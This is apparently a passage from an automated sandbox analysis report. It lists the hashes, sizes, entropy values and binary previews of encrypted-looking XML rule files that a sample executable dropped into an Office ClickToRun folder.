SHA-512:	60E2BDA568778FA8A537E680AE3799C79C99DB689D3CD24FF101FE881EEAB0E6A7B7A18939BDE577CF896A4AF1617C79137BBA8E54FC68E639A3346517C4C8D5
Malicious:	false
Preview:	<?xml..3._ON...$.."...P.&.D..@.....z.f....yaV\P9.J...WA.Vg.q.."..;.N,X....X.oV..C....N.....B..e..G......7.'.QE-Kapr...t..z=..... ..r.Z.f......[..L..Q.^.....WxPg.~.Q.........?=.O..^.i!.oy...5O..].K.....h..B...;.C._.......L...7I...o.B..8.X.;R(V.._:......C...7.Y@..(.'..=.I........pS.9t..._...k..I.s..a......Yw.v.k..@.~..."o.......2...Yb.L...HaBf+"..@.......p.. .\lM.........\|4.T.t!.M.'.....vW..S...v..].K...yu..#<~].q.<.y. >.#d.[.3:.. .ZzGy.<S.H..=.....,.+n..q..S.P.......1..k..~do.\|&....7+.<U..J.<6#.x..i,F.D.l~...I.".y.[...miC[....FA.Ea...k.,...hqh\|b..B/.....i.G......5...\|#......D.fS^...h..w..2...7Z...n..W+..H.&..o.S.N..6..W.....F..=g..f.W.....Ij.W...0P#.'u...<<...q.W.......... ..b/B.............[?...."..../X\|(..^...#x..../.Q.A.K..h.Rt..V...p...T.......sa...+....34G"&uaz....If..g\|...<Q.g..?8a._........p.]<@.f.^.\|Z.O$.........O.\|.=.{tp........`..c.W.3.....,.(o1..{s...C......._z?(..z.>..6>.gM...,......k....u5.YL..[...c.f:......./...r.\|i....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703950v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.893712021202024
Encrypted:	false
SSDEEP:	48:j6nrV1VpHaR3L8kZ6yWruH7s7l09v5xj3hJIIV3MD:Onp1bHa9LmSbu45phLdo
MD5:	0D0473B5BAF342080DB522F8997C2AE5
SHA1:	0CE8B99393D8479C4A29C0F50C92075639CFD925
SHA-256:	8D33515A81545308571196BA8AC4A1032486BD28BE44FF66A35F6978FE896A02
SHA-512:	36C1846F4F85CAB9D244B3ECA0BD2489B64E548B91572217B158FA55F4CEB293277266412D2ECFAEC71A97770EE2093EA68A47E8EE73234CA60FA7E017780854
Malicious:	false
Preview:	<?xml.).mrKN...{..Z{.u.....}m..q.Y.5o...T.'.....h$..n.8Y.T.u.6....&.:,A..e...w.0.\....?).I..N.u.X<..s...Yk3...Y.....).].4{.S.k7....@+....Q....Z..^....PY..N.Z. .z...%.E.........a2....].oh.....R...,4euh.G.#.....:.9."+..A.D....+......-9..........@.2.d.y..{.:...S=...p.......u..S.[9.6.......i.\4\|../ip#8.Z1.I...=...f...?.K.g.rEp.=.J8.....Y.7...y...Yq2..l..D.g..=..E.:...4hb..:Ns.eR.Y......].......=G8n........~._.dz.....$.a.BTo.V.../.....R.kr..K,^...}....O...hK.....f.......Z@....a.hK.e.L..z..\...r....p>@.$.m.."..q.;.rXB;.cj...R..z..60.../."..J....Y...c..8m......=.=...n+...d3eze..\f'h...;L.-L....<..6......VbT... !..A..x.n.t.^..rl...IX...~..:..Z.?.R...t..t{...A.m.L.(C,..D...0..OhY..>.f.......\..%.....Cn.&....a....?&O....."..z....y...O..]L.>g......%.......T......e.Qqq..yB..u....d....3...gA.s......G......:X....$..".....U..$....#......8..p<..->d..m.vv....U\.pK.44....M..[.<VGcc^2.D.l$.j...........m\|....FAk....?}.0=O..d?p.<.......w..\|...(..[.T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703951v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.8950999074256885
Encrypted:	false
SSDEEP:	48:po8EasxPV+89qtPXQMNwHQwilTEFHOg7hS7D:ofPD9iPAWFTpg1A
MD5:	DFEA9A2750E3D882CB2B1C5EE04A50F5
SHA1:	BB9CEC59FFB3984819F8361E8D308BD2E0F962DB
SHA-256:	10416951CD295CC50FB022F77986F4EDDB34C47B0FB105D13FE279936776707B
SHA-512:	4D93577028575B51E1C3BCEC5DF578C6B0C195E78DB041A5FABF912F60857C69F42D1B7D74506CF6CD9F06DBC1A10C630A1FBD2EC79397FE7F94B5EBE920B012
Malicious:	false
Preview:	<?xml..OM.....9.]..'Bk.=.s0>.&.J..B..4....n.p._...?.?x45....0#Y[..i.'K.Q_...}.@.wk.o+A.WU...g....).:[.SL.8.....p.j...si!7...k.n..........V.7..^..^.71g...6(.&G.x..8S.....%-....Hyi.;9...D.......6[.....\|D.f..2.......#......l......l....B3Nb.D......h.fX.E....L...lT.......f.C.ey8..............l.....q.>.R..@.......-..5Y.....k0..amg.#..-.b.eT4..+T.V\...B.y.....7/.I.q....C2....MS.)d.\|.I.....c.+..~..<H ...:F....?..\|..9..WW......ZH.L.Y.X..0.p.xU..D....t....m1. .5."..uV2.XbO..wxy...m.[].#i.f..@..}N.5L.h.Y.E........\E....W....Y...\}...<K.e..5.m....9.....=.su.L...5..q...\|.d.<....%..dc.q.....E.&....A..?.../...R..4..H...{..:t..1..i.9n.0..>..K...rZ^.`B..6.ad.3.......}...C.V.<YG7..D...f..!.?..j...k.'0r..kS)a........L..f.\V.Tr.c.^.L..M....S.....7.W.....;..H.;~.T....h2Q.K...s..$.l.._lX.I.Q...K.^.....k\|.]..f.....S...Q:..m.c.*. 5.O"d.j..`.1f..-b......D7#).....v...J...^.r..q....z...e......s.....8....,....q.`X.5.;.....tCCu.O......[.kaA....x/..........._:..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.8943190955293385
Encrypted:	false
SSDEEP:	48:ZjZuqdDkyr83p5Oc+h1grMbJ2Z+WJ5Zx33D:ZdtdDkG830CMbJ2Z+WVRz
MD5:	2481D85A262117B7693ECE40D8A80284
SHA1:	D7D371050BFB4267D62F6D9B4004B559731B4CDE
SHA-256:	8E774D96DA13EEC13A63181AE7318B12E499E03D06BBBEEADB0EEE72148626FE
SHA-512:	4E1FF9B479E141B8CF31F8D0933278714926747404E4510F457082F644B28090C98CD4D8CFF104F1C815255DAFA0A782511DB0B0C8AE0C154337CA2C1A0BCC12
Malicious:	false
Preview:	<?xml8V+..d..'..^??.e..n$17P..uh;..L.....$ld/..X.m.....+p......jg=....5.f1..D.C......N.~..u.....8..E.hE..o..........5.#.$..<...>#..)..&+..Z$....m.^{..h...k...T.....2.R......gD.4........~...G....(.6..J0.p.z.v.6{..u. ......C..3 ....0..0...m..vi.N%h....TN....&.a ...<j...........C.........{.E..F...#.U1.PZ..J..~..'.x.6....wtP.o..EY.u..O...r....xd%a"l<... ..{.u+P....@I.u..y...(..p..L.z..~d......W.D.kK/....3>........0...L..E.R%....@.D.....:...@... ...h.@[!>q...........7.:..nS@.!.d.1....~..&...M....y{(.....#..].J..... ...'Z$.X.M.8>."....5`A.,Cwn......+......M..-.`."&7k.p.j.fp.&5?....(....`....&...d..s..Y.!5.u......9/s^.L<}...>..$..8...C.0..{.%...h@.sS.2..-..WqbX%.+@..6..*...7.BugW.p.E`.x.p............s....K...@h4....1N.{.D.L.L....K..b..a.FSn.....6n...(M.....qp.+..f.q..x..>mQ...J#.....~....)...1z..q...j.S....e..F.D_..(.%...[A.....S'........l.......:..E....a.G.O....8..e%.@.h'.>I..T).F;3e..>......Y... y...z.,..x.w.B..0.B.o1.......k..6.@O..XN

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.887365685547851
Encrypted:	false
SSDEEP:	48:X9ZIj8rBFs5ibRGCn+grpfel4VuhhJj1rD:HIj8rs5ilGC+eHVu5jN
MD5:	1022D1D5EF2B76CD5B3D41F6C4CC8C0B
SHA1:	D4103D08D04AB3E16A81AACEBAF88E3DE4BB84E1
SHA-256:	E827E9D638B9157419D9F03E6BA173F590DB17D53B729563940AA3F8B936CEE7
SHA-512:	A3083B403A90DDB641560CFBBD568CBCD9272C08D401E2FBD53D9E253D419342CCAAB49B360680DF86FA7F70C1CBC4736DF4818ADDD0A689D0D742F62D2EEB2F
Malicious:	false
Preview:	<?xml.qw\..v.s.5...}f....el.....R..g...q]....Z.efhO.#...ME.~O..-L..0..^2.T.......V.....N.....P..)6.n...1.+...Y1......9.+.J.....u..w..F....R..ER...v..'.w..TaW.....b.........v/...N..O...$....O'.D...~..;l..r.z..c4.)......9..9..5..Q..l..[.}.-..v..e7.F...9..?0=.%.WA8N......`..h..et...7o+t...<p.P9........R...K.:1.....P....q..6,p...&.K....... .-a;y.A.@.{Gx^...y...9%......... ?sh..^].q...7..ppu.;.^FE.....q..........K...I.#V.._.......;.K...-.x...-.i.\.......[......J.. $H5........4.....N..W.u.2.........m....X...c....-__.k"...]w..\|..!]%..@....{.p}K.]..K.."..NB....!.#..g.7Y.'...ZP#Y..I#Z....1....t..blR..5N.(..nV..F...U.h.=..-.M.R..:EE.k.3ETt......Z...Y......#v...3..&.D]..?V0o....M4.M@..7..;:e.WV........KB.x.<.!.+....L.<.vuF.zYy..l\|......n...l..j.............M.f.Q......[.....V..YYM...u.m....{.,.-G.....;.... ...EF.>...k..C..B...R,%..J.....n._...._=...l53A.$.s.......?J..J..z.F."..R.5C[5...>.j...'......-nCeG.N...G..1.R._...;.X.,O.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.865928226802084
Encrypted:	false
SSDEEP:	48:z6LqNhDEc3D4ziDrahU0uzguYw/nHNv2MUu1zD:z5NZEEEzi3ahU0uzguY8H5Uu1
MD5:	3F5A2706FE208FBFAA30B2D292EF0611
SHA1:	75604D2D7E8BDDB29BCB102310BA3D667259F3FA
SHA-256:	3EBC94EA509017FA7D0CBC9FF835EA1566D148B404C9881276E5C17CE41B1B52
SHA-512:	C943D4ADC9C68F845033370AF2DC667B487F7E103BB161A9FA2D9CF24BC7298A9323CB4E724C447FDEF0B8B95C1B73B743F7A20AFF13F3546A9E67D5059F5E6A
Malicious:	false
Preview:	<?xml<lE...\5x.VC.l..jA.......t..W..ER`0.j..+..%9.]..C....g./f....@x#..A".m.p....m...i>..5."..)R..p...Un.\B27.RlU/....Z......R.....L.<d.......-.!......d)J.0.:..N.\|Q/.MGJ.....g...g.u.Eo,}..RA..!..q&.D.8.K.Vq..@.@.c..B..L..0n..L.)....&.....v.$.m..E.'....g......Y.thj_.."......Z..C...T.c.v).Ba...J.0..\|...,..&...P..-....a.6.7bXV..$..(.....q..p8m.Kd..h....\|_...3<.1X./._306.6#.P..8....(..}..V.....F.[l...!...E.DB.T...;....t0.)k...<1.xF.9......f.\z.m.E..B.1m....3m<Hu..f=../_.\.B...B.AY.dJ...z.d...e5[.'....M^0.K F...X.,3.eg.Q.6(..M<.{.l.sP.IV.>:..0.B.3....~.(.4'..~H..C.......x<.Bc.&....?.{x...-......Y"q.g,.e.....@5.(.y9.p.2/..\|...9.....i.zDv]U..q.\|0.3Ix...T...#./...s..........J.B.{.Z@Q.]........W..._..".....{:..fS...T...UG..p...KJQo..).?y./.....9?.d...G.....:.Uu..Na.-nBe.<{....r...B..s.$..c.....$.U..g^.s.....,....W't..3.D,<...w.[.3X.$@..m..'J.VD. .....u..e...$....7.3.gj.K.-..Tc%.5....M..-..^...e>..E.X.P6@.9..tP...[..0C..(...{.r.X..P!..hc.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.891827170021397
Encrypted:	false
SSDEEP:	48:lrdy0jS6IvGPiYK9MApKk8nnyWOyk5/XqhBDjslD:lh1j0O6h9MkKTnnyWMBXqDjsd
MD5:	FBE8EBD90B96E46C11FC019A3160F6D9
SHA1:	A5728E659A7E300111CEBA911A5852098ED01693
SHA-256:	A84537348E656C844D721FE6F7D8C689C29E5A21FF7A9B6637B8D032C688F253
SHA-512:	7987E6122A20D2738FF75F3B4F40A35E736DAEC05C4DA12E0AB10EB87FBD2972D20933996723B8BFF82AAB4B890BCA12E3DC3C82D07F9744CA917918EC8E9889
Malicious:	false
Preview:	<?xmlA.'>.23..k.Q..Os.6+.o...ZKS..V..J....).p.jG`.....V...P......nh/.j. ..vS<.Aq.MT}.......-\....w.&.].;\|.).....7FS..........=..]3...+Q..<]C...H@...@...t..Ij.#5.`/....P....KP......3....=....(...A.......F-.K..(,\M..id.".W..F.W.N...L\.9..0.......6.\|d>...Nb....ZR....^7R1N%..6}....1.C....k...$s<.6......v....wig...M.g.\|..3.%..["........./..6.\D>.\|u...+..0..'B.....4.......t....:..jX.8m../..YN1...7...`..BD............!.?.k..nq.8eKC...^..$.o.......'\|G..y,...<.Hjh..V.`^NN..x"..l.a}Dp...".A..w\6...\|.:...].$.....AnJEA..}.Z........fL.iX}"..$....k........<.......2.$ .....V..)V...._".5..f.\pb.=...y...Jpbl.......{aK+.4.^V.....XpP.,au..:...>....C...n/...}....9...r.&r...?.....2...TN.nz/o#D..t..=I%g.....:u.m.......z..s'.Q:.........Rt:E.<.....v<5..NB'.M.F....).&&.y...........s..W+J.`s..VS.".Y\|..*.."...^f......x...k.H ...../..:..Q..c.5...d....2.v2.h..SGW..L..R&..KU...W.....5<J..N&@.D..r..3...#..8.-:.P..$ .ae..V....3A...L....#..$....r.?mr.#.O..@WdnA}...C&..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.874522798923351
Encrypted:	false
SSDEEP:	48:z9Ddzn+MF9u0C7czDXTj+OiaBFnkqFtaTBStEm+D:zFdz+Me0RXn+aBFJFtatSKmG
MD5:	CEB5DBE3F03F9D17DEDEF377FD3335F5
SHA1:	AF4CBF0105C7948C7DD7A331CD70E1FCE7E23410
SHA-256:	2FD73953DFA3CC17ACFE2EBDFFC20F42F49076C2C1A8AFB3E02E2FB55AF7CA96
SHA-512:	2E9E5C1EA675D606CDE217184FD54405A9BD58DAD48A4AC4F704D348247FC4185045C45C111D6DAA78DDF01B2249E67E943B993743B2AFD002352EE56ADBCE55
Malicious:	false
Preview:	<?xml..........b..fL.....G.Q6....4%...Ydf..3f...3J.......A.5...F.....Y..2......CKX21.~.^!.R.=.e.62....)..?y..[......b.V..&<....../Td..}qR..0....Q.....hj.$..X.13.....p..9/.@u...<.#.......=>..x.P...vR.3.?v?..>.&.`....@...#?.......?..g.......R~.....h.Bk...)...Q...."..}...5r...V{!.x.....i=.l9.x...[9.=........cN+Vi;0.. .aR.{S...;....}^...D.\|R9....Cn...^S...v..Q.Bv..'(2E.....$m.O..1 ....`..h..........qD.....O.^.3.s2..0....w.{..}@..G....a.._.[...35...K..gT....o..E..G.K..%..[...<.Q.n.S...K..?..d.....'.Pi.......^u16.^...i..~.n8.jk..X.....C5h.bzwB..)a>.....CZO.\|]o.P=..s?..h..a...g.k.Oro.M..i..Qy.X..E.e...h.s_.-.. E.`.^...\|.8o...6.z#..8.8...(7.........,...&..<.....<m..o.2/...B8U..#...i.A8...;.-v.M{aX..G....T..,....e6\0p..5.CNCb....O.q....L. .....A..f..h.o..xs..$..r.....c......\XO...9V....x?.1......8..6.PO.wj~.b...k...j.........f{_}m;........"Q5!.].....Q..{.........c.."..8.;B.........0.C5.R.k4...#...gy..#fH....$...<l.J..tO..xZ.....Ya..uW...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.888332119046704
Encrypted:	false
SSDEEP:	48:niTGg9njUW9r2jNQYpT7PJGOERt7+bGjWu9qmFBdVD:iJ9njUA2ZQ6T7PJtady0Wu9tBt
MD5:	A489DFAF718723C87EA056E470EED35C
SHA1:	62F3EF665047A96CA3A5B3A6F3C0F39AF0D56F6C
SHA-256:	453A6978B5493B1DACD3E8D3D531A8D6BE1F64117FA590F6E7FEC15C728541D7
SHA-512:	59F81CDD32404DB3E2FB3B486B764A5FECD0158463E0D8BA0BE6502401EB6CF442E203A92515FC25440A921D2A9AE99D2C0856F8A429484C772153AF20967721
Malicious:	false
Preview:	<?xml5Jn..^.s../e..3.L...O,f.G..TGvb.Sh."HUV...k.....m%..C5<iH.889.+.t..........A....\|...A.3....1W,.....q.._/'.1..f...=.5\|.6"..F].`U.)....Hz.>......aEz.x...l.&..C......~.M.hYF..U..+....KvX_e0)u.Rl... ....M.X.#!.0..(.2.....]J...x.-y.Q^jm.+5.0.h"T.0Rm.}b)...g...fd..\|...u#%>8....V.&d#.....L..c<GN.0s....R...6.q[....../7no6..{k..]nZ`<!.M..u...`......b.KR....k.......I...wz.<.>%>`k.f....>..d03.u\|+.+&._<IV.5,b>[....p...;....f.>..Le....q.WA........"...`...D...9..U.t..c.4.R..4}}.h....R`tc.+....S.....c..h.....A1f..dI&..p.\...(j&..,.K.Xo.<.V...O...u..u.....5.=.: ..u..$....ho.7<....m..I6X.u0. z\...Q...r;......E....8...F..o).;..w.G.6..NT51q...>%..........&h,..`.Po....../..WG2....J...[....w..+6D.rp.t_o.q....M....-...QgV.ZD2....^.o......n...u...m...#."..LM....p..B...`Jp:_. ..m.4W....c...c.=H..z8.T..SK#^.d.Q0..r%......A....Tf4...W....5E&#.=....$p.....M........I7.F!.."r.TR..]0.....V...'.....e...&..v\|.Y...L8'.!.>\..i.. .:..af(.W9....J..).Y.B.i....)&.D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.885631869073332
Encrypted:	false
SSDEEP:	48:l8DF4xkhKaHtUMr88uA/q5oxEPuu/HeacV3SD:l8yehNtUMrLq+xofHm6
MD5:	2C93A373EB8A8449F758223193C4F138
SHA1:	1E5F6A14E36CCA4A75FF5BDBDE6855FF86F9E533
SHA-256:	56A19161FD1BBD7EEE80910BBE326A80102BA27E9AE9DEA0B047D67672D96592
SHA-512:	F87753F9AF5D17DB65FABD77538353F1DD8031B2A456F9F5AEDE089CDD44B756A527B65D7EE4EE8CF9D0BB18AE0312B991CB8FD51A710895E81B2021945D8B1F
Malicious:	false
Preview:	<?xml...#..ydU....l4...u...Qc.....&.....b&..R/.Iyo..T.J....o....z........}#..z<.(........'jC.i..-.K...E...'.p...Q.#r.#i:...]h.z.3...o.1...... B.5...w].s..'E[...J).QSyz.....r...{..=.!...T.=1...KG.k.0.v .yZ...N}M.w.1_:..2..v...j.J..]....fD.=G.+.PT.....a..g.#P......_..L\|P...Nn.:...r-.....DF.......b.7x.+.B...X.,..N.{..\J.}.M....yBz.q../.mM.Jf}..}..U...v..{..k.7.In...G.....O....=c.%.>..D^..F........oZ...}.....lk.a3.r..G..i..@;.q.s....y..0.\|C.....#....+.PG. ....=d[vmD...q..f.xXl....Wlh....'...dY.]....@.X.......G...28#...R...\..T..`B.P8..C...:....O....'...u.d..,.Z...\|../ZF....m..>.lgf).ax['F"..O.....,IH0.K.\.?2V...b..f?Ck...h.Ky[..hK7.&U...ep..q.Pm....N.o:....E.1...j..j$<?.n.?.L.!....."#....g.D.-....k_M..e.G.....U...N.1.s .V.V.~.^.o....+rA......w7..P.......!...&....-d.o:q......O..V...A.......\|.....^L..t.{2.OS....U.bh..%...Gg.r^.b.....E....w.A\.Y.#.c./.b.2...%.3....l....o..~FM. .....t.y...eR..s......`.tY9....a]......#..../.....tz.N.'......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.873470419018653
Encrypted:	false
SSDEEP:	48:A+tUeFP79+kIcxEf/wXnuVZIXeKE3+YPmD:AQN9799yw3ub3R+
MD5:	EC32B82897CDC34B3CDB45889D7BEB96
SHA1:	D4EEFC3DBE1356DB93B38B595E827EA15CB4D124
SHA-256:	EE812CC7B1DF48378D9B1BCEEFCD369EA8CAD27E98AB0D8959039A22FFA1BF23
SHA-512:	EBE7DCD3023065C8747E71CFCC10B108CD1E76FF5EC2059A087498EAE5411B655F96E913D6F65033C886445FFA3CCB26A1F01DE1792D3458505DECDBC09280C2
Malicious:	false
Preview:	<?xml... Xl.fK.y."I.zp.I...7l..N6......S....7........j...V.Y=...T.x.....t./......OO.!nQ..].i.(k.f. ..l.Y...`,n.T...U..../.e..d)......../j..j.8...-.o..u.=..H....EX....X/.,...SV&.`..pD...JB$.?..T:.M!....M...pe........:"...z..n..^.7..g)..;;J.OdMo...Ju6.........w[\$N<.......`W<&y:.lS....D.f...d2A.............2.].....u.>....<..(.....5}.7Q3I......yr.ua..<..Zw..r..$..S..u....+.\...K.D.3.}M..S...#.Ww..^.C.OoZ?.3.Z.zN*f.N.i0...3...$.........p7.8ZV.Jo.M......]'EP].t ..^h........eJ.p..`A5ai......F...O...).....0~.$$..t..j@]..5......1.9...+....h6.L.nz..a...w.z..-=8.zMr......j..Q...R.,).X0......;....cR....:i.x.re.T?..^a.X.5)a.m.~.W...M..q.......G^J...}.Y.p..q1i.j......S...z..;.=.P2...u..t-...y!3_!.....'..2^...MG......@....{....k..`.^...B(...G....].. .$\......:.....d..em....b.g..u........f...VL...9\|...y7y.T.w..>A6.4V-y).V..&.Sv..!.f....~o..1..Mm...-o.(..4.......E.g.'.K..<.n..T...5Mup.}.n.$....(".a.^j..^B..S...Z..v.....X..#.9..N.=V.......d..S)...s}\..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.892865477723429
Encrypted:	false
SSDEEP:	48:jdeAipvIV7VnqVsfSBl8I9POmwK+3bwjWlRryD:YpvIV5q6fSBlDWRLwjW7a
MD5:	FEE8E301D724E8670941705E4A2B8F98
SHA1:	8FF210D54AD268E8A7475B4477AB35B47574B3C8
SHA-256:	66C3E995CCEC40B8F94DC699F7C4B3E05AA3C3CC711AC051F324028B7B24090D
SHA-512:	55C4F653E6BB39D669240205EEF1DB017233D59D158CE1030FCAAD2015314BCD39D3C3B4175B8648AEE6228E02D904CE6C87C92125D56A749AA46476423D8E6C
Malicious:	false
Preview:	<?xml..T...d..e.....u%...}._........p.....\|...d..". ..D........{.\|.aV..L....e....!...`..CFV.s..gZ...']..6.e.....t..7.2..`,.....#<i....d.Tk...J.x...W.n.........B.,..^].7>...?...L..^....e..V.[.;.,J...zs.........l..:A...IC_%P=.i...g..Zwnf.r.1=.J..W.k_.3.-...r.ZQ..\.]O.].m.h.8.....7.x..9..w.......5.......F...8.k.4Z.bA.v.k..%..he7..+Y..k..>-..N......u..B8...C'.T....(g+.."....&].m.im>..z........-7v....z.......N...-.U.g.g..:..y..c..~.}....ng.v.W.8..:.x..wEY..R..D.k.f.........A.%....MM..r5....g!..%.._1..7....8....... a^...Q.@P..!.5..h"..t.....W.&.D...n...P.........q6.Rq..d..\|..k...oP...v........K.qdS.X#...?..hq..x.f..[....}..T..J.."....i..}7.AM/3........;5R`........P........,..2dv...'W.q.M..{\|s}F.H.......6..7...}.F.[......h)._...L......~ft.....s..q....q...KS..wi..p."..b..[..p.D<uG3....."Z.Z...[Z..........3. ...~eu.xI.......l.....!eyV.\|+.../sYw...c.?...S./...z...`}.ct...W....n`.o..+...i.....Z".....%9......XQ.\..h...7M.pS.`.....Hh.,.._....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.8790171454401285
Encrypted:	false
SSDEEP:	48:kF1Qvy5I2fxGAHxZNhgOwVdWPnE1e+AI5vsIuhGXzrChD:Wav/clh2OwuE1e+Z5vsLY8
MD5:	1948BC39F1EF0F6DB340D2F1D64F1153
SHA1:	3FD1C219984DC60423F95E497D15EDDA8DA736FB
SHA-256:	40EE3852D5D0A1AD82DEB2EB5D49524D8FB31B93DF3389614335BD6AB4662159
SHA-512:	0D587F39030131263F8343C7D5260B7D36C40D4F8EB81344B909F28A3A1BAAA4D89CB535DF4ABB8790D380F2B02EB21993BC49C225CE93366EEC59DBD9096BC7
Malicious:	false
Preview:	<?xml...P@"....M%r..._...w,.}....C8]..S..y.F.S8..5...E.f..U.'..<5.:D..[..}?\.E.}....i.....I...../........K.O.~.8....m..4g.....,...<.5W.z...~S.!..d...I.q......5..v.....D.4...:y.e..}.>....X...0.J...}X._..I.J.. .......&..}..#a.5..$..4..n.....S>..[..Z..T..DY.{....#n%.:.X.&..B^Jrd.c.../..L....]...ll6...f.34..<w..U...pp!.....{..4......Z4....Zm~A..r.. ..".G......:..Q...,.M.....:....z.:S.i\p.....m....X..X1O..-......Az.hY..z.=.$a.yv]1....g..!..z=......T...r....J.sb.x..(..,..6..."_..l.^<8P.-....E..Oz.....^.U.v.6...:.C?....j..:...j..-<Lj..c...'.\|.c..Y..S.....C?_..".r.AN..2.7.<2.......&...>}.aB...6...7.......Q...pU.!3i....Z...F..[.H...h..&.z.. ..P.b.'...1n...TiR...T.I=..........0..7...-....*.;..ao.pZ..h...2.....Sl.....&tS.n.....N.d00.%.C.9u. .....9.."I...$...........a.....EO.K....x..K...I...Ne.^ ..Q.u...Uv5%.J..t4j.za...\..n.R...ma.b.....S2.3mX.v ....8...>6..Y..G.&P...T.X+.._b}.\|..fUh^.Q1...y%>...?..S..^X...$tx.O.... ...R...2..>... .......W2~...h(`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.883103118234204
Encrypted:	false
SSDEEP:	24:Y3fpgkvQ6l86o4fP7VYd4hWgfLkDts/G2s/NCeUeK95xQciB3ytTbeMubD:Y3fqkBdfJbhW0ussgeEQitTbeMMD
MD5:	BBFC730A3B758C35388323901F0EFE90
SHA1:	01B5486923B6D91DC187CAC206D8AC3F217B7EF8
SHA-256:	C06367D351C2F09A4B3801296CAD589F4697910FBE4AF3A01DF769FE3756FE39
SHA-512:	6CBB8C9759CC14E4F326BE795E3932C8F9CF51E8F089542A6FFE9D5879CB4A5194425ADAEFC7261B6C94E59EB86D476EE5415F1FA9916894B154ECE9F548F876
Malicious:	false
Preview:	<?xml...A.4..3c.a.P.......E.....2./.!m~..f...[..L&..L...Df..~J..&.+...J.D..D.I.hK...<..gi...^...7..Y.mM6.l.'.4.+V.\|Z[b........t[6....@..d.`.0.8...........-.~..... .......=Ev....#.C0..4..m.[.%..bw\....................@...wj....Y./......a...x......u..O_...v..)2.;9..q...y.e%.CH,K.!..C..g.E.......xO.;A..QP..pUd.z..+..%..xd....<;3...+.8...,......K'./.WN.R..7..e... %P.4g?........>......U.c..>.".]#L.."........Y(..Fd77.Q..+.+..uQ.?.../..]b!\L#r .......1........8..n;?!....B.@vl.T.0;../....e..\......t.2e.3k..h.S.>k....u...Rs.-....v...)....$.:...&...9..3..]..EW.....z..,.p..E.y.2......C_...p..<......h.....{.....%B.<.m,t)}".~h5+b..E...b.....W).K.v.5..\Ma..~.....M%.)Qy.U?@g.X..:..C,..6].......Fo.G..f.......NC...@^\|..........R3..l9.....mh..LD..c..uqFF..h...{>l......Oe.\l.z..6....-.}...I.@.7.(.=........d.z*..%.Z.E.\.u.......Wf.i.?0 L6....;.......N.Uk.G...b.E.2[H..3.....5.n...d...b='%....x .....3....$jz.......e...~.U.3$5jn]........T..ID.z..xA....p=T...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.515953621467431
Encrypted:	false
SSDEEP:	3072:VvwiSbOiBM1D4JuM5A0L4cjH/icf/QRNfVcAEDcvq7WHC9OLPcjw:dxSH2eumAybi0kVcAEDcvq6TGw
MD5:	FEBA4C62EB52090F645F51710D6B1B6E
SHA1:	886D08D2134D929B5F794702B778D8520256A5E6
SHA-256:	BF6343EAB27273B637669ADF63B4AAE05F13CB55F8E25B3802A97864D1FF345A
SHA-512:	33056A5A20B0ABC35D08E316248A2CA91109E2901C7A52B22FD846814735F5D953EA4C1D740B46721F5576075A879162F264AF3BDF6C81E22E23B6DCE02B92D6
Malicious:	false
